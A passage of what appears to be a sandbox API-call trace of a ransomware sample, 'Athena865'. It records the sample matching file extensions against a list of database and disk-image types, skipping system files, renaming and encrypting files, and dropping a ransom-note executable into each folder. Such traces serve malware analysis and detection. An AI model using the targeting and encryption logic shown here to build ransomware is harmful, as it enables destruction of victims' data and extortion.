(lpString="sqlite3") returned 7 [0105.751] lstrcmpiW (lpString1="oof.xml", lpString2="sqlite3") returned -1 [0105.751] lstrlenW (lpString="sqlitedb") returned 8 [0105.751] lstrcmpiW (lpString1="roof.xml", lpString2="sqlitedb") returned -1 [0105.751] lstrlenW (lpString="xml") returned 3 [0105.751] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0105.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Athena865") returned 91 [0105.751] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.athena865"), dwFlags=0x1) returned 1 [0105.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.752] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1457) returned 1 [0105.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.752] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.753] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.753] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.753] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x154 [0105.754] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000 [0105.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.756] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.756] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.757] CloseHandle (hObject=0x154) returned 1 [0105.757] CloseHandle (hObject=0x17c) returned 1 [0105.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0105.757] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.757] ReleaseMutex (hMutex=0xec) returned 1 [0105.757] CloseHandle (hObject=0xec) returned 1 [0105.757] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" [0105.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5330b0 | out: hHeap=0x4f0000) returned 1 [0105.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f550 | out: hHeap=0x4f0000) returned 1 [0105.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 71 [0105.757] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\157B94DBDD45C2BC56890A7F6F142D4D") returned 0xec [0105.757] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.757] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" [0105.757] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to back your files.exe"), bFailIfExists=1) returned 0 [0105.758] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0105.758] GetLastError () returned 0x0 [0105.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0105.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0105.758] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0105.759] CloseHandle (hObject=0xf4) returned 1 [0105.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0105.759] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0105.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.759] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.760] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0105.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.760] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.760] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.760] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0105.760] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0105.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc930b5c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0105.760] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0105.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1 [0105.760] lstrlenW (lpString="Proof.cab") returned 9 [0105.760] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0105.760] lstrlenW (lpString="Proof.cab") returned 9 [0105.760] lstrlenW (lpString="Athena865") returned 9 [0105.760] lstrlenW (lpString=".dll") returned 4 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1 [0105.760] lstrlenW (lpString=".lnk") returned 4 [0105.760] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1 [0105.760] lstrlenW (lpString=".ini") returned 4 [0105.761] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1 [0105.761] lstrlenW (lpString=".sys") returned 4 [0105.761] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1 [0105.761] lstrlenW (lpString="Proof.cab") returned 9 [0105.761] lstrlenW (lpString="bak") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0105.761] lstrlenW (lpString="ba_") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0105.761] lstrlenW (lpString="dbb") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0105.761] lstrlenW (lpString="vmdk") returned 4 [0105.761] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0105.761] lstrlenW (lpString="rar") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0105.761] lstrlenW (lpString="zip") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0105.761] lstrlenW (lpString="tgz") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0105.761] lstrlenW (lpString="vbox") returned 4 [0105.761] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0105.761] lstrlenW (lpString="vdi") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0105.761] lstrlenW (lpString="vhd") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0105.761] lstrlenW (lpString="vhdx") returned 4 [0105.761] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0105.761] lstrlenW (lpString="avhd") returned 4 [0105.761] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0105.761] lstrlenW (lpString="db") returned 2 [0105.761] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0105.761] lstrlenW (lpString="db2") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0105.761] lstrlenW (lpString="db3") returned 3 [0105.761] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0105.762] lstrlenW (lpString="dbf") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0105.762] lstrlenW (lpString="mdf") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0105.762] lstrlenW (lpString="mdb") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0105.762] lstrlenW (lpString="sql") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0105.762] lstrlenW (lpString="sqlite") returned 6 [0105.762] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1 [0105.762] lstrlenW (lpString="sqlite3") returned 7 [0105.762] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1 [0105.762] lstrlenW (lpString="sqlitedb") returned 8 [0105.762] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1 [0105.762] lstrlenW (lpString="xml") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0105.762] lstrlenW (lpString="$er") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0105.762] lstrlenW (lpString="4dd") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0105.762] lstrlenW (lpString="4dl") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0105.762] lstrlenW (lpString="^^^") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0105.762] lstrlenW (lpString="abs") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0105.762] lstrlenW (lpString="abx") returned 3 [0105.762] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0105.762] lstrlenW (lpString="accdb") returned 5 [0105.762] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1 [0105.762] lstrlenW (lpString="accdc") returned 5 [0105.762] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1 [0105.762] lstrlenW (lpString="accde") returned 5 [0105.763] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1 [0105.763] lstrlenW (lpString="accdr") returned 5 [0105.763] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1 [0105.763] lstrlenW (lpString="accdt") returned 5 [0105.763] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1 [0105.763] lstrlenW (lpString="accdw") returned 5 [0105.763] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1 [0105.763] lstrlenW (lpString="accft") returned 5 [0105.763] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1 [0105.763] lstrlenW (lpString="adb") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.763] lstrlenW (lpString="adb") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.763] lstrlenW (lpString="ade") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0105.763] lstrlenW (lpString="adf") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0105.763] lstrlenW (lpString="adn") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0105.763] lstrlenW (lpString="adp") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0105.763] lstrlenW (lpString="alf") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0105.763] lstrlenW (lpString="ask") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0105.763] lstrlenW (lpString="btr") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0105.763] lstrlenW (lpString="cat") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0105.763] lstrlenW (lpString="cdb") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0105.763] lstrlenW (lpString="ckp") returned 3 [0105.763] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0105.764] lstrlenW (lpString="cma") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0105.764] lstrlenW (lpString="cpd") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0105.764] lstrlenW (lpString="dacpac") returned 6 [0105.764] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1 [0105.764] lstrlenW (lpString="dad") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0105.764] lstrlenW (lpString="dadiagrams") returned 10 [0105.764] lstrlenW (lpString="daschema") returned 8 [0105.764] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1 [0105.764] lstrlenW (lpString="db-journal") returned 10 [0105.764] lstrlenW (lpString="db-shm") returned 6 [0105.764] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1 [0105.764] lstrlenW (lpString="db-wal") returned 6 [0105.764] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1 [0105.764] lstrlenW (lpString="dbc") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0105.764] lstrlenW (lpString="dbs") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0105.764] lstrlenW (lpString="dbt") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0105.764] lstrlenW (lpString="dbv") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0105.764] lstrlenW (lpString="dbx") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0105.764] lstrlenW (lpString="dcb") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0105.764] lstrlenW (lpString="dct") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0105.764] lstrlenW (lpString="dcx") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0105.764] lstrlenW (lpString="ddl") returned 3 [0105.764] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0105.765] lstrlenW (lpString="dlis") returned 4 [0105.765] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0105.765] lstrlenW (lpString="dp1") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0105.765] lstrlenW (lpString="dqy") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0105.765] lstrlenW (lpString="dsk") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0105.765] lstrlenW (lpString="dsn") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0105.765] lstrlenW (lpString="dtsx") returned 4 [0105.765] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0105.765] lstrlenW (lpString="dxl") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0105.765] lstrlenW (lpString="eco") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0105.765] lstrlenW (lpString="ecx") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0105.765] lstrlenW (lpString="edb") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0105.765] lstrlenW (lpString="epim") returned 4 [0105.765] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0105.765] lstrlenW (lpString="fcd") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0105.765] lstrlenW (lpString="fdb") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0105.765] lstrlenW (lpString="fic") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0105.765] lstrlenW (lpString="flexolibrary") returned 12 [0105.765] lstrlenW (lpString="fm5") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0105.765] lstrlenW (lpString="fmp") returned 3 [0105.765] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0105.766] lstrlenW (lpString="fmp12") returned 5 [0105.766] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1 [0105.766] lstrlenW (lpString="fmpsl") returned 5 [0105.766] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1 [0105.766] lstrlenW (lpString="fol") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0105.766] lstrlenW (lpString="fp3") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0105.766] lstrlenW (lpString="fp4") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0105.766] lstrlenW (lpString="fp5") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0105.766] lstrlenW (lpString="fp7") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0105.766] lstrlenW (lpString="fpt") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0105.766] lstrlenW (lpString="frm") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0105.766] lstrlenW (lpString="gdb") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.766] lstrlenW (lpString="gdb") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.766] lstrlenW (lpString="grdb") returned 4 [0105.766] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0105.766] lstrlenW (lpString="gwi") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0105.766] lstrlenW (lpString="hdb") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0105.766] lstrlenW (lpString="his") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0105.766] lstrlenW (lpString="ib") returned 2 [0105.766] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0105.766] lstrlenW (lpString="idb") returned 3 [0105.766] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0105.767] lstrlenW (lpString="ihx") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0105.767] lstrlenW (lpString="itdb") returned 4 [0105.767] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0105.767] lstrlenW (lpString="itw") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0105.767] lstrlenW (lpString="jet") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0105.767] lstrlenW (lpString="jtx") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0105.767] lstrlenW (lpString="kdb") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0105.767] lstrlenW (lpString="kexi") returned 4 [0105.767] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0105.767] lstrlenW (lpString="kexic") returned 5 [0105.767] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1 [0105.767] lstrlenW (lpString="kexis") returned 5 [0105.767] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1 [0105.767] lstrlenW (lpString="lgc") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0105.767] lstrlenW (lpString="lwx") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0105.767] lstrlenW (lpString="maf") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0105.767] lstrlenW (lpString="maq") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0105.767] lstrlenW (lpString="mar") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0105.767] lstrlenW (lpString="marshal") returned 7 [0105.767] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1 [0105.767] lstrlenW (lpString="mas") returned 3 [0105.767] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0105.767] lstrlenW (lpString="mav") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0105.768] lstrlenW (lpString="maw") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0105.768] lstrlenW (lpString="mdbhtml") returned 7 [0105.768] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1 [0105.768] lstrlenW (lpString="mdn") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0105.768] lstrlenW (lpString="mdt") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0105.768] 